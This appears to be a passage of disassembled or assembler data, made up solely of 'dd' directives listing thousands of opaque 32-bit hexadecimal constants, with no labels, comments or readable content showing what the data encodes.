		dd 6221379Ah, 0F425DCh,	0BEA357C3h, 2D6FB3CCh, 7ECACE00h
		dd 2CD10B70h, 48690B3Dh, 8680ADD0h, 0FA03F820h,	0AB1B0400h
		dd 0FED3B102h, 0AF50060h, 99A79241h, 38B0A883h,	35020700h
		dd 0C3CFE757h, 0FDC6016Ah, 7EF1F825h, 0CCFEE498h, 844D8B00h
		dd 7A7C5516h, 0BFCB3EFFh, 3EF87E2Ch, 0EA7F007Eh, 45C4B64Ah
		dd 0C903F305h, 4CFC8236h, 0C3EDA337h, 172E897h,	0F3900C6Bh
		dd 0AF18955Dh, 0D5D4360Dh, 0E9E030C6h, 4B411694h, 0F1C10151h
		dd 0D1667B48h, 8B2180E0h, 16B7418Ch, 40370A3Ch,	19D7FE31h
		dd 8CED88F4h, 31D8D679h, 34D50099h, 0BE032737h,	5E005B42h
		dd 0A286520h, 0C51B22Fh, 0E8F2F736h, 5C70EC40h,	0A0E07860h
		dd 67323E82h, 0A056C13Ah, 0BDBFA1B0h, 0B7CE110Ch, 0C04D08C5h
		dd 0B0D37721h, 593AA641h, 2D369F55h, 0F05ABD4Ch, 18F7004Eh
		dd 5C759BE1h, 0A8F67ABAh, 0B1826900h, 0B04173DDh, 0BDEC0E42h
		dd 1A01F17h, 6BEAC9FAh,	6801577Bh, 0ACA15FDAh, 51D8C00Bh
		dd 7C9D0028h, 7EF9EDBEh, 0B11D3F3Bh, 819F4A0Ah,	0A6D60206h
		dd 9AEF66Ch, 3B267191h,	64760A89h, 5BED1000h, 0DF6696h
		dd 0F3712F75h, 1F24B06h, 0F0FB7F6h, 81B64E6Fh, 0B6597B2h
		dd 9A2A60h, 18368C6h, 4B93AE5h,	9FA10D03h, 0A0D47995h
		dd 7202E8h, 0A39D0B0Eh,	854A8E8Ah, 0DCAA500h, 0D4502B47h
		dd 0F5EB00FEh, 3E19FF7Bh, 570F619Ah, 0A172F158h, 0FDC2F951h
		dd 219F88D1h, 0E45780B8h, 39F1D84h, 279D3500h, 0A911F150h
		dd 898C0030h, 0E6C53DBFh, 4D903E16h, 3B5AF900h,	966AA162h
		dd 92993303h, 213F2E08h, 7D3B00DCh, 4F648E7h, 4F18C01Ah
		dd 0A3764F4h, 58821133h, 0C830C6B5h, 57C0C860h,	46A1613Bh
		dd 32F22C2h, 0B13B5FDBh, 189110BCh, 9069E458h, 2023A530h
		dd 0C070F619h, 0F2AAB1E1h, 0F53ACB9Ah, 7ABC80C1h, 0EE687896h
		dd 0C9FB1816h, 0E6BFF089h, 3A612360h, 75B7914h,	63ED4AECh
		dd 0AE19301Fh, 623EE8A0h, 0BDD38D60h, 719438B0h, 0E623BC3Eh
		dd 5575C09h, 0BC625AB0h, 53BB207Eh, 910EF657h, 0A0B18855h
		dd 0F115347Ah, 2BBD2041h, 49035205h, 0EC4827B5h, 5760C0EAh
		dd 7A46F159h, 0B77F7D22h, 0BA0081E2h, 5386E4BBh, 185107C7h
		dd 0E926EE7Ch, 0EC003541h, 0D4049A5Fh, 98F5Bh, 85C01E77h
		dd 8C7E2E3Bh, 94B69F00h, 1B95A95Fh, 0CE050039h,	55784C1Fh
		dd 7531D3A1h, 0B5C2A09Bh, 0C76F2D60h, 57A7428h,	10E018ADh
		dd 0EC003AD5h, 318E5F4Dh, 0AF4F5Dh, 0F9F75EBFh,	6F120B10h
		dd 6340F305h, 0C8808ED5h, 1D55E7h, 2897A17Fh, 26A002B1h
		dd 79778300h, 0E4675AFAh, 6C060062h, 54FC5EA4h,	0E100642Dh
		dd 5D6E95C9h, 0F9FBAF0h, 0B6849E94h, 6C3BC05Eh,	91A4B8A0h
		dd 0BE7A2C00h, 0F8B12A0Ch, 69A200EAh, 0AEBB930Fh, 0E4FA26E9h
		dd 8087993Fh, 253D195Bh, 5B359B6h, 0D496679Bh, 93A3C3E0h
		dd 9ECAAEE0h, 3C039C7Ch, 95AF3FBEh, 2D5DE19Fh, 39462280h
		dd 55EAA085h, 0C664490Ah, 0FD8338C8h, 0FF4E8EE2h, 202A08A0h
		dd 3AEB00FAh, 0A2E47A4Fh, 9500FDB2h, 324355E3h,	3E8999Fh
		dd 69CE9318h, 5CA0FF9Eh, 27409125h, 6720378Ah, 0A3C0CC58h
		dd 71AE40h, 0ED96AC25h,	4C9548BEh, 82004F78h, 9C234BB2h
		dd 0DF539F1Fh, 0FB740048h, 2070C907h, 0A9B01030h, 616DD627h
		dd 0B37EE890h, 0BF1880CDh, 0C8E4C8Bh, 0F5A6015Ah, 7DBEC889h
		dd 0C5A0A690h, 0D0028100h, 0F0FCC6C7h, 0D5C803DAh, 8CE15D1Ah
		dd 0BDB5F88h, 37B83600h, 69C2167Ah, 91700024h, 6B8CBB7Ch
		dd 0C700649Fh, 5ECFB43Eh, 1F14633Fh, 0D7DEEDD0h, 405B18F7h
		dd 16565C1h, 5380D848h,	0CF5423Bh, 4CD5637h, 16005F18h
		dd 6065F0B2h, 60AE2FCh,	730CB501h, 7E0186E8h, 0A936F88Eh
		dd 0B6403E7Ch, 0EB3AB0F4h, 998248B8h, 16478F02h, 480100D8h
		dd 0B98D7363h, 6086AEB6h, 58F52C58h, 0D960B31Fh, 0AC492E00h
		dd 3D3F6EBDh, 0B96EC05Bh, 0D8913Fh, 11065C71h, 20B107B5h
		dd 81004546h, 86A7DB80h, 0C097D4DAh, 0C0EF67A2h, 0B01242Dh
		dd 0F4832E6Ah, 88C20E1h, 1F20E4F5h, 0A4243600h,	0C1025DCDh
		dd 59F626B7h, 0E3D80643h, 7D034950h, 0F33F3561h, 0CF100060h
		dd 5CC6A776h, 630E45B5h, 8C412574h, 13521CCh, 1A3EA6AFh
		dd 0F071A8F3h, 0AA7E6E61h, 0E4E2EE01h, 8DE9E5B0h, 6898F771h
		dd 82B239DFh, 41633C01h, 0EF5D7B0Ah, 7AE45AF1h,	0CC17C5Eh
		dd 5B12815Fh, 0E00DB18h, 0F4C658A6h, 0EA176819h, 0D9E96097h
		dd 74429E15h, 0CE2CE000h, 48A23C54h, 56B00133h,	0FCB114CCh
		dd 31498057h, 1E519DCAh, 3C4D1E9Fh, 0DA87C202h,	0A4989897h
		dd 0C11242Ch, 0B888266Ah, 243580BBh, 0C3ED878Eh, 0EF60F5BAh
		dd 3E2FA44h, 45ACF458h,	2B928261h, 0A778A4B0h, 29C9D048h
		dd 2F61A441h, 94ECA6B1h, 0D68B3EB2h, 8A90E73Dh,	44CF01D1h
		dd 0E6859176h, 522765DCh, 0B7E25C40h, 0CA890032h, 0C3D675h
		dd 0E95BB4B1h, 925677Eh, 19472D0h, 76B2C53Bh, 64C4D35Dh
		dd 0D4A33A5Ah, 2521C07Eh, 4205B2CDh, 0BB2412C0h, 5BA343h
		dd 5D37DC80h, 0E21E465Fh, 0EFA94B01h, 0F45360EBh, 0F0B5E882h
		dd 0F8AF11B2h, 0A0128700h, 8306D628h, 33DEE0C5h, 0F0823008h
		dd 0A02A9920h, 1EC8700h, 775D509Ch, 94F906E9h, 91F366DFh
		dd 74B92A00h, 0B8AB327h, 57A330E0h, 0E56385E4h,	0A664E203h
		dd 0D25FEBFDh, 51448EF5h, 29A0829Dh, 90317BD6h,	0A0F09A13h
		dd 39FCF5F6h, 989E5F3Ah, 0CC81EA08h, 4B310021h,	8E55FCD4h
		dd 430074E0h, 8CFFA711h, 71B979B5h, 0C012735Ah,	8469BE71h
		dd 11005C1Ah, 0F2C8857Bh, 56677C28h, 0CF01C41Fh, 0A35D78B2h
		dd 88430CD4h, 0B300971Bh, 95A48B76h, 12D6371Eh,	4A7E68h
		dd 0AFA37BB8h, 0E009A273h, 20617758h, 0D74BE114h, 5E203E1Ah
		dd 0DA41780Dh, 0D269F818h, 7438F748h, 2A86601Ah, 0C9344148h
		dd 1624F019h, 34ACEFB8h, 7A2BC44h, 0CEB0242Fh, 0ECEAF355h
		dd 89D57AA1h, 43B3A60h,	8C842F94h, 0D088388Fh, 84620AC7h
		dd 2B4F4059h, 0C107A7Ch, 45CE765Fh, 95526860h, 30F2E25Ch
		dd 0E9184E94h, 0A71EA36h, 9A1C01EEh, 83EB1BD4h,	2486C452h
		dd 7793C907h, 0F098F5Fh, 0E0814A7Ch, 0E618FD74h, 0C8AC1000h
		dd 2D9613CFh, 22590779h, 5042A739h, 92346E60h, 0CCE2E700h
		dd 0E56F72F4h, 0BA7914B4h, 0C700D0F2h, 5EFD1FA9h, 9F07604Ah
		dd 0F8206728h, 616990B0h, 95213056h, 7ED25740h,	4058AE6Eh
		dd 0F936672Ch, 0DCC6090Fh, 289786AFh, 5A80BC91h, 0DB45738Dh
		dd 57B42800h, 0DA5969AEh, 0A72490E5h, 608C44B4h, 0A5BFC2h
		dd 0E443D809h, 0CDA5C1Ch, 59F56601h, 5812A062h,	0B1F25180h
		dd 96704DA4h, 3DE10A02h, 0C02A71D6h, 28367Ah, 117C3F34h
		dd 2BA4B6DDh, 5F82B8C3h, 8888DC4Fh, 0C8EB5409h,	0F1710018h
		dd 208C7A0Eh, 303CD95h,	4F174211h, 0DAEBD8A2h, 0C92F8h
		dd 336DFC47h, 0B0F6682Dh, 8CF1982Ah, 0B4C3BD00h, 0AC907B58h
		dd 8CCE1CFBh, 0B2007B4Dh, 3CAF50FCh, 0C958FD2Ah, 0E20C00C0h
		dd 4A7BBA6h, 6B260046h,	74528A73h, 0FB0EF90Fh, 0E05A625Bh
		dd 77B21C28h, 58AF875h,	0FD932FD7h, 4A84425Ch, 98E0C9D5h
		dd 150E0595h, 60E2AFBCh, 82D3E3D6h, 99E18DCh, 0A549E9D9h
		dd 0F011ECF1h, 0F5AA8F00h, 0D42373FEh, 650100E4h, 0D29C8DA3h
		dd 0F109DEE2h, 8068C2E8h, 0EED95FE4h, 35DB2C5Bh, 8C9A40E4h
		dd 34007E50h, 5721014Ch
		dd 4C90B1E8h, 580F95FEh, 0AFC30418h, 0D9E16FBBh, 0F4118710h
		dd 11C0195Eh, 7D03DAC4h, 0A830009h, 0A460E297h,	0CD1E35DDh
		dd 0B4C0F7ABh, 3FFDD736h, 52190082h, 5EDFB5C1h,	0A6000571h
		dd 7DF289AAh, 138D39B8h, 0CA9758h, 81400333h, 64006A8Ah
		dd 0EB5DADB6h, 1D982865h, 0CFF0CF57h, 0DF6E1BBCh, 0C82BA0C0h
		dd 0AD00EE8Ah, 0ACC9A2D0h, 0E8E142C4h, 94A80003h, 3382DD4Fh
		dd 0B979B7E4h, 0E9CA5A00h, 15C631FEh, 0A50D1C5Eh, 0AE8C8191h
		dd 80EEF999h, 0A0A3604Eh, 1B529Ch, 32650B6Eh, 0F403E8BFh
		dd 61A72900h, 7311D799h, 0FFE1C22h, 0A62741F5h,	431B8D6Ch
		dd 41B044F9h, 1600125Dh, 8BE4173Fh, 2D6780Ah, 6AA97BEDh
		dd 90433AC6h, 3F4C1DB8h, 3101B274h, 939D7963h, 0EFD8B33Dh
		dd 0BC03508Eh, 0BF88A0ECh, 545E58B8h, 0C580203Bh, 4B41D6DBh
		dd 8900ACB6h, 0B015A992h, 0F7B3CFEFh, 389665F8h, 91ED184h
		dd 2BE400C4h, 6F6D68FDh, 0D3A93Ah, 5AF1B5FBh, 0A02C8FE0h
		dd 3A7804ECh, 77B9E4h, 1026835Eh, 743BEFFCh, 0B5A3F000h
		dd 2D153343h, 75300046h, 125EAA9Eh, 6000A7BCh, 0B68C7D9Bh
		dd 6DD11Ah, 1DB18EE9h, 0C1FEA08Fh, 5002578h, 0D3A581F8h
		dd 0F54DFBh, 915F1012h,	0C50C2AB9h, 2BF9F0F8h, 25D0E30Eh
		dd 0C4079BA1h, 0F4001176h, 55318Ch, 0C915E454h,	0FDEECB59h
		dd 1B5A7E00h, 0A1D1092Ah, 22610532h, 41A6BED0h,	70413D8Ch
		dd 0CE97DC4Fh, 0BEA38E3Eh, 55060009h, 2AF3E53Fh, 806C00CCh
		dd 0ED2BB1B5h, 0A006090h, 0D2104033h, 7163B293h, 0ADC8A9ACh
		dd 73005026h, 0C68AA21Bh, 0C565E94Dh, 0B61E96E9h, 859880F0h
		dd 40C70A89h, 98B4C9h, 4550200Bh, 0AA0E952Dh, 204A29A8h
		dd 0AED6F8E3h, 49180780h, 0E07B230Dh, 0FDC76C32h, 0FB14BB01h
		dd 5D696233h, 3A69630h,	80F3B26Bh, 4FD8CA19h, 0AA097AEAh
		dd 56B3ECh, 0DF973E40h,	8CEB009Dh, 0D8CC3CA2h, 0D70EE245h
		dd 0E9343390h, 0E800003Ah, 484FFC94h, 0F70250E9h, 63E724D7h
		dd 9DB0FC4Bh, 0A40058CEh, 0F0B183FCh, 80D526h, 625A215h
		dd 0C7618BEDh, 0D751C00h, 7153C369h, 0FD66009Ch, 7E259F31h
		dd 7F3A1599h, 498280E6h, 0BAB2646Bh, 0C6D600CCh, 0D84F6F4Ch
		dd 90A8CD23h, 0C490DBBEh, 5B035A02h, 481B48E0h,	0E615350h
		dd 0ADAE9F7Eh, 6DA8C5E0h, 0A767B9B2h, 0A3907810h, 3C99D60h
		dd 0F9CDA08Eh, 81E01317h, 0FE0006D3h, 0D6EB27A6h, 767583Ch
		dd 0FBC88FF3h, 0CFB740B8h, 0D20072FCh, 0E36CF6C1h, 3FA0787h
		dd 23372859h, 909C9B5Ah, 49AAE78h, 6791EE01h, 444B880Fh
		dd 1D1BCB30h, 428133h, 739937F0h, 0C400F458h, 0E3B72959h
		dd 30D0CA44h, 3EF06B4Ah, 60F9AB5h, 40371C48h, 0BF9FFF8Bh
		dd 7B10C347h, 95985B2Ah, 2F008F6Dh, 86F3A5E7h, 19C9B8h
		dd 85DF4DDAh, 0E10818AAh, 0AF2B3316h, 0B1427A00h, 2316EE9h
		dd 3977DCEAh, 0C2E096C1h, 0A1007811h, 1E51EE34h, 0B455D2h
		dd 4491CA7Ah, 7FED526Bh, 4CB3C800h, 0E5106085h,	0D8DC0074h
		dd 6305FCF8h, 2D7C0C7Bh, 0A0AE9100h, 82D285CEh,	59BA067Dh
		dd 0B82C6286h, 28EEC80Fh, 265D001Eh, 0C4A12h, 9E5A9BA5h
		dd 8EAAA91Ah, 17882D00h, 345B6BF8h, 8B7E01AEh, 304FE404h
		dd 278E4064h, 25092F5Eh, 20500389h, 0DA9B4044h,	0ED610057h
		dd 0EFBF3631h, 1812A7FBh, 0BC00931Dh, 8A4EFC85h, 4A6C12F9h
		dd 9C01642h, 6080DC4Fh,	0F3D31A9Fh, 1889B731h, 0B8D13C41h
		dd 90FB2B60h, 31E600B4h, 0E261E16h, 0DCB8BF35h,	0CB009A76h
		dd 46C8F9BBh, 16AE046Ah, 4118DD40h, 3B76A78Ch, 6733CC84h
		dd 0B34B3000h, 75E3A561h, 7B8E00D5h, 0A18BEC2Eh, 47001A36h
		dd 8D92F216h, 0B0AC0Fh,	5EFD061Bh, 884619Fh, 0C41EB924h
		dd 7732B500h, 1CE68CF2h, 806205D7h, 0B2130CE5h,	9824E287h
		dd 7004278h, 9E08F3FDh,	35570005h, 7B88A5D0h, 16E4A1EEh
		dd 0E917DA00h, 28C44B8Ah, 3754028Dh, 0AD2F486Fh, 0CBC28DE0h
		dd 0E401E9E2h, 11AA079h, 6C61214Bh, 2FDCCC21h, 643300BAh
		dd 8DD52CE1h, 9F1D70A2h, 0E280072Dh, 0EE055CFEh, 47490161h
		dd 367948C0h, 19E7401Eh, 2D008213h, 0CBEFFEC7h,	26B97EAh
		dd 0C55FBBCDh, 0D8E0DC31h, 2E00F724h, 1AAFC1E7h, 0DF88F4h
		dd 0BF913B75h, 94DACCC8h, 746F1500h, 22B87723h,	0D8274863h
		dd 0CBB2AF00h, 0D02F2BDFh, 3AC14C0Eh, 0C6DAA015h, 0E95044h
		dd 7DCB3FE6h, 0A8ED3103h, 0C4DD280Fh, 0C3F9A0A0h, 4CE258A9h
		dd 3D009E0Dh, 16ABE667h, 0BC07F68Bh, 0FE7FD23Eh, 0A289AD70h
		dd 402B4D84h, 307F000h,	0A951CF9Dh, 0EE03B97Dh,	20E3D83Fh
		dd 753801D1h, 0D553A36Bh, 0B284740Ah, 405CE22Eh, 0F007DA83h
		dd 806BA82Dh, 0F70E035Dh, 0B35E88EDh, 2634600Eh, 0A49F80FAh
		dd 0C387F2Dh, 1FA278D3h, 50628180h, 27EF1910h, 6F618048h
		dd 9901C49Eh, 172B0955h, 67C875ECh, 7F790089h, 30F0D244h
		dd 4301F2EFh, 636104BBh, 0F1C893CCh, 0F990FC3h,	40323038h
		dd 0AD5411B4h, 49009358h, 600C2E2Ch, 0E60D74ABh, 66D31FE7h
		dd 7258E889h, 0E560022Eh, 7588EAF8h, 0CB64A4h, 8D482D7Ch
		dd 865CC017h, 907915DEh, 878CF10Ch, 90A9261Fh, 97661DF9h
		dd 0C512804Fh, 54CF8F85h, 34E72500h, 46AA9B57h,	0BD74000Ah
		dd 0C4A248DAh, 2000358Fh, 55AE4388h, 0A6780Fh, 0E0BC0DCEh
		dd 6D1BCDFEh, 0BD1DEB76h, 3D407B2Eh, 0C598FAC1h, 0E6403C9h
		dd 0E640C63Ah, 0C08C18A0h, 39ACEA00h, 7C3065BEh, 75DD7E76h
		dd 944FE29h, 0C74A7256h, 0CF5C6180h, 2E00D422h,	0C4B9D3DEh
		dd 7693A6h, 836B816Dh, 0E564C135h, 8FA06300h, 690848C3h
		dd 4EC602D4h, 0E68D9532h, 606CF940h, 82778B00h,	0CBD784BBh
		dd 9A3000F7h, 0EC0C920h, 39007C90h, 0E2061DC4h,	491C5BA6h
		dd 5400442Ah, 0AD4AD1C1h, 0B5E02CE4h, 2008F466h, 0B9DE0021h
		dd 0CEEBC3D1h, 82034ECFh, 3530FBFh, 19FE9805h, 7C9406A9h
		dd 611ECBA5h, 0C2025E46h, 0ECAD4BD1h, 0DF103331h, 4700D1BAh
		dd 18A95029h, 171B17F3h, 3CC17Fh, 0A76A1E2Ah, 752C39F0h
		dd 0A60E270Bh, 0C1B44E11h, 345F15E2h, 0A8455EC9h, 6BAF1841h
		dd 6D0056Fh, 7D911D75h,	854D5F1Fh, 0C423E437h, 0AD86C3D8h
		dd 5C46B1E6h, 51D1C80Fh, 4FC4BCE8h, 0D1C0F540h,	4700D8A4h
		dd 1EFE2436h, 1BD7E58h,	66F2CF0h, 0D0C38C09h, 0FF182ADDh
		dd 0A970A6E1h, 390A0D4h, 0B4FA0070h, 7EF5EF28h,	0BCE8DD5Dh
		dd 0CF355F0Eh, 4BE02001h, 0B37A6Ah, 0FDFA49F2h,	0E4809885h
		dd 0EF3F8F00h, 79A78D73h, 1C4B0041h, 0D9AF716Ch, 5F0040E1h
		dd 0A2840C2Dh, 0BCB8B97h, 4D8F8EDh, 0BF7BD000h,	213326C2h
		dd 0CBE640D2h, 0BDC0CFE8h, 5BDED9h, 0DC27C43Dh,	0F053B78h
		dd 0B5A8CC00h, 733C71Fh, 0EAA4008Bh, 6165FC1Dh,	99009E86h
		dd 0CAD030DCh, 34DAD18h, 0CD2FBADEh, 0A0CFEEF4h, 6317E6E1h
		dd 1CEB0F05h, 0BB800A86h, 0CFCEA2A6h, 7100774Eh, 1265767Dh
		dd 0B9808D0Fh, 0CEDEA190h, 0B7C0FEAEh, 0AC7D3061h, 0C9F92118h
		dd 0F950D4Ch, 31D3AB8h,	0C0D4DEC0h, 0C14AEA24h,	2A8CA441h
		dd 59618386h, 0F0F91949h, 31E7CEh, 0AFE93F12h, 395B9490h
		dd 0B0588A00h, 767F35A5h, 0AF4B09Bh, 0EF123279h, 29010014h
		dd 0A5B378FCh, 2AB5BA00h, 84CA38F5h, 0A74A0DACh, 0CD1D4FBh
		dd 0D8605E1Ch, 1FBBDB19h, 0C25006F9h, 98EB84BDh, 0B7062342h
		dd 0C07D5D01h, 0B63A1B1Ah
		dd 115C1521h, 779007Ah,	0F07DBD92h, 311403F4h, 0FD4BD47Eh
		dd 0A40020EEh, 770BDFB7h, 3C124876h, 23805C99h,	0AA2B3D6Bh
		dd 0D0675E9Bh, 32A0D4B1h, 7351BB3h, 188E0774h, 0B8644097h
		dd 51C68841h, 2608A35Eh, 0FBA9077h, 0A781B7FFh,	0D8239A04h
		dd 8700FB5Ch, 0D3DFEEDCh, 184737B1h, 785BE612h,	0FC003533h
		dd 65ED95C4h, 1876C84Dh, 0E93AEA32h, 6C280121h,	530098C1h
		dd 33A469E2h, 735E770h,	83758D85h, 0C01BD46Bh, 0FAA5D5DBh
		dd 31799360h, 0A1F4F262h, 0CC108524h, 5D001B98h, 0D6DC0FA9h
		dd 790D1004h, 0A3B504FEh, 908882EDh, 3F966A1Ch,	1815FC03h
		dd 0EE0DA79Ah, 217F6008h, 643F78D0h, 5DECBA0Fh,	949E8029h
		dd 540D59C6h, 0EC11E482h, 1C5090D9h, 59C219Bh, 9C0B661h
		dd 9A008ADCh, 3631B7EBh, 80885A28h, 49159B00h, 0CE7DD789h
		dd 35410002h, 23A5AA47h, 0F206EE0Bh, 0D1DDF10Ch, 17770220h
		dd 52EF947Ch, 4623209Ch, 0ECB10040h, 0E40FB9F7h, 166D0705h
		dd 0AE8055F1h, 32EDDCEh, 0F5769243h, 0E8009B33h, 63BCC48Ah
		dd 70A1BC9h, 0BA258F47h, 21A24646h, 63F48E00h, 72F78309h
		dd 0AFEB044Fh, 429C0D48h, 44248B84h, 0A6AD09F8h, 1C239FFEh
		dd 0B0C79D1Eh, 7A3C8E1Ch, 50F4809h, 76C42180h, 445032EEh
		dd 10C663EDh, 0C446C21Bh, 650B76B9h, 4D229400h,	4A283907h
		dd 0F1ECB4D7h, 9846F92Ah, 0DDF460D4h, 8030EB14h, 1BC363EEh
		dd 0D0448CBAh, 63E60064h, 26E774F5h, 241C2A1Bh,	41C0014Bh
		dd 0A5518E5Ah, 5EA4A0AAh, 12249237h, 30948B11h,	0D9C2BB94h
		dd 0CF25ED13h, 91EF10Ch, 121D2C1h, 30F2D914h, 0EE0AD8FAh
		dd 54A75100h, 0A4A5E980h, 0D98C139Bh, 0D340390h, 1DB0BA09h
		dd 0DF265549h, 0D8B28CD4h, 0B7E0B0F4h, 1BC01163h, 6C90B2h
		dd 9863EF5Bh, 13E9D4h, 7E862722h, 4736499Eh, 29320F31h
		dd 9DDC7325h, 7D876B6h,	0B8C6815Ah, 0EFCEC090h,	574824B1h
		dd 317534F0h, 0B923442Eh, 547A1903h, 0E50071Dh,	239A8CA7h
		dd 49048F27h, 0A6E5EFDDh, 631D5890h, 78D66450h,	0C0E535Eh
		dd 0D00193B8h, 5F99A31Bh, 1D6E2091h, 6175072Eh,	8B53C401h
		dd 50247C2Ah, 91511587h, 6510E4ACh, 5A260D8Dh, 6088F1C1h
		dd 5D009670h, 0E576A58Bh, 15D91412h, 54054CC6h,	35314F2Ch
		dd 10683AD4h, 21C077A3h, 90C7B1D1h, 0C8A14806h,	1E21B235h
		dd 308C9FFCh, 0CFABD8Eh, 8800B348h, 63BBC3F0h, 48D21B99h
		dd 0C88BCD34h, 7D7A63F3h, 0A88D00C5h, 945DF95Ch, 0A9487248h
		dd 3908044Ch, 0A8806F5Eh, 28E46C0Dh, 7DCC8DE1h,	0AA9CA82Ah
		dd 0CAB59FCh, 637B300h,	0D6E525BDh, 2C33D800h, 2EFEB423h
		dd 0FF361D30h, 71F0137h, 95C54261h, 76C8AD58h, 20BB7019h
		dd 72148880h, 0E4A82CF4h, 0A3465C74h, 4E386A00h, 0BF681667h
		dd 0E60AA609h, 5C143197h, 30FA3052h, 0CA1364B1h, 1038E21Bh
		dd 63E91E89h, 2611C0B1h, 9C14D68Eh, 0F58B6D01h,	392557Ah
		dd 0F028C4F8h, 0A4912C15h, 41D49888h, 34F502A7h, 480C5504h
		dd 109D01FDh, 8E7CF7h, 8D9E76F6h, 4D1DE436h, 3048E024h
		dd 84F52EC0h, 8E8B241Eh, 1E742804h, 4AE4119Ch, 9D84E127h
		dd 60F016B4h, 0FB3F6374h, 11901523h, 89C70085h,	0C8ACC3Fh
		dd 9C843FBBh, 0A9A2F918h, 0F0FE448h, 8E33D5F5h,	0F440B3FAh
		dd 0F678981Bh, 2B922415h, 0A6D008B0h, 0C203516h, 8FBA3Dh
		dd 8C2C83C5h, 0A00E271Eh, 0FBA5B704h, 0A0C98DB0h, 0D9BF30C6h
		dd 0C725EE11h, 0E400E29Eh, 65B3D9BCh, 3ACB98F7h, 0F58038F9h
		dd 0D68860FDh, 895D0225h, 0FDF00B4h, 6F31ADFEh,	6C0E0105h
		dd 4993A90Bh, 0E1E18216h, 0CBFEBD9Ah, 0F697C048h, 0FD8D004Ch
		dd 0F5C86EF1h, 71E86FE9h, 0EDB621C0h, 0A9AE47h,	0A788C72Eh
		dd 6AA2D23Bh, 120A252Eh, 74437835h, 0DDFAA6B2h,	10059840h
		dd 7D1DE315h, 495C1CA3h, 9BA8BA94h, 1CBB4644h, 0FDC44798h
		dd 78326F21h, 4CEFC420h, 7DD90BECh, 0B1018F17h,	82842593h
		dd 1E410821h, 0A47C53C4h, 213DCD8h, 1A09F586h, 16C87813h
		dd 149E5D9h, 365BA8B8h,	80220D6Ah, 0D330A2E2h, 0E64700BEh
		dd 553A24D7h, 370C27F0h, 29A6E2FDh, 0A911131Dh,	2BC80381h
		dd 193ACF36h, 32709C63h, 0BAA69900h, 7F8E686h, 0CEA7F1E3h
		dd 0C63774h, 0E0C8F5C3h, 0D5C25903h, 0CAD9762Ah, 2E460BBh
		dd 7E300361h, 2159A5B3h, 0F07BFFA1h, 0C101C34Fh, 11A41328h
		dd 0EC409AA1h, 775D4BD3h, 9FC60136h, 5EFFDC3Ah,	9509E88Fh
		dd 0C0D9591Ch, 0DF315930h, 0E76F8092h, 8184FF3Bh, 0B5FA1BABh
		dd 0D026E6A3h, 0F53F8D02h, 81316012h, 3F93CD10h, 332CEE02h
		dd 808C60F1h, 91022684h, 1398D272h, 41E40AC7h, 60F965C4h
		dd 0C563B8F4h, 9CEA1B26h, 1EF05A70h, 40BE1463h,	0C92E15DCh
		dd 0D91872DEh, 59D1B1F9h, 289348B2h, 0E7233048h, 0FA3F8C03h
		dd 0CA38CC12h, 1A3F960Ch, 91554F4h, 0A003A5E6h,	0C02C1048h
		dd 9160BE04h, 888C7FECh, 0F3048CBAh, 0E9FD8C4Ch, 0B7207762h
		dd 647EAh, 0CC5D6286h, 0B0F5EC6Ch, 8B2610ECh, 0C3C0307Fh
		dd 2126B2D9h, 0B69167A7h, 0D9C0E000h, 9CAA7D39h, 12EE1F02h
		dd 82B07551h, 6510B784h, 60C1E458h, 0B9FDBA7h, 6C8CCA2Ch
		dd 9475F880h, 4BF48EDFh, 0C985FD30h, 0F2A6F9h, 92872A6Bh
		dd 952C03D0h, 0F0290401h, 0AD05F107h, 1A778881h, 0E5111B96h
		dd 9B08203Ah, 0E7CC1E00h, 4EE414F3h, 6C8E5DA3h,	0D0C91208h
		dd 0ECF12103h, 0C084B35Ah, 9EE6337h, 0A17EEA23h, 0B00BACC0h
		dd 2089BA29h, 0C4B693E3h, 655A2530h, 1B9DA040h,	9092E14Ah
		dd 0E8E0D84Ch, 7643B9h,	31D60357h, 24BC535Ah, 87C90AFh
		dd 10BE70ACh, 3848A355h, 7643D1E8h, 0CA063E00h,	1606F56h
		dd 958EF20Bh, 7744A05Dh, 0E613BFFh, 0F27D371h, 0BC43D509h
		dd 4860C6DAh, 6C929183h, 47F23D00h, 0FDCA4FB4h,	0B85E2440h
		dd 0DC40E90h, 0C9390107h, 7469C892h, 4C51895h, 1725F4D9h
		dd 20B5326Bh, 2ED9BADEh, 0EA033678h, 59619D16h,	0B7F8069Fh
		dd 6080C54Ah, 0C37E58C8h, 2599D9C8h, 0E5000E1Fh, 2237D9C1h
		dd 831A0F4h, 0D78619ADh, 1F2FB834h, 1487396h, 338EB7AAh
		dd 2443D02Ah, 843D3924h, 39B75E9Fh, 0E09EF160h,	4FE812BFh
		dd 0B7900127h, 226F192Ah, 1133D04h, 402FEE2Dh, 0EBC005E7h
		dd 811F0019h, 0FBF5A35Fh, 9A0096D8h, 4763B5AFh,	721399h
		dd 0A9FE14B8h, 0BB5ED7ADh, 83EA6F03h, 29D8A0D6h, 5D049B10h
		dd 0B3C475E5h, 9E239C00h, 9BD5BB9h, 0B577FB88h,	22942C80h
		dd 753E422Bh, 0B34703DBh, 11BDE624h, 1176E729h,	0CF21388Eh
		dd 5CCED804h, 23454308h, 7AB32804h, 1191854Fh, 0E73E8BEFh
		dd 14A0A744h, 4B89C6E0h, 2F337017h, 0B6038691h,	0A49D38DAh
		dd 0B0F088C0h, 0E2A900B9h, 0DDE79E4Bh, 7C001EC8h, 0A4D4C30Fh
		dd 3DF83082h, 0AA80854Eh, 0CC365EB9h, 0E700A65Bh, 8D37F278h
		dd 0B147FBh, 0D48E5DB5h, 0BD74F446h, 78458700h,	0DFEEED99h
		dd 7FAE3C54h, 70A192h, 0C616B6B7h, 7A07F4DCh, 1AA312F3h
		dd 0C826E6E0h, 117360D0h, 7D01A875h, 0D5F9C900h, 3E8B2D6Eh
		dd 5C14034Dh, 0D8EED403h, 210F6CD8h, 86056805h,	0D8475FB0h
		dd 42604BD1h, 5989CBh, 0AC512939h, 0E72DBF40h, 0F5718C00h
		dd 16B5FE74h, 0A7609DDEh, 0FD002342h, 5CDF8754h, 1D9A3F26h
		dd 1DDD2481h, 0B3A8C3B8h, 0FEE86EF8h, 0D8BDA11Dh, 0C8DA006Bh
		dd 41E8165Bh, 0A603270Ch
		dd 0D324DE6Fh, 2082F4E1h, 0E7908080h, 8DFB9Ah, 0E2C1C58Fh
		dd 504B0540h, 0F63B91E6h, 8E3A3EF5h, 40D3FBACh,	0B4495C29h
		dd 2A7403CBh, 0E52C7140h, 143B0780h, 0BE4E131Dh, 663DA980h
		dd 7465BB6h, 0D29A568Eh, 0B53E9015h, 0AC008595h, 65820554h
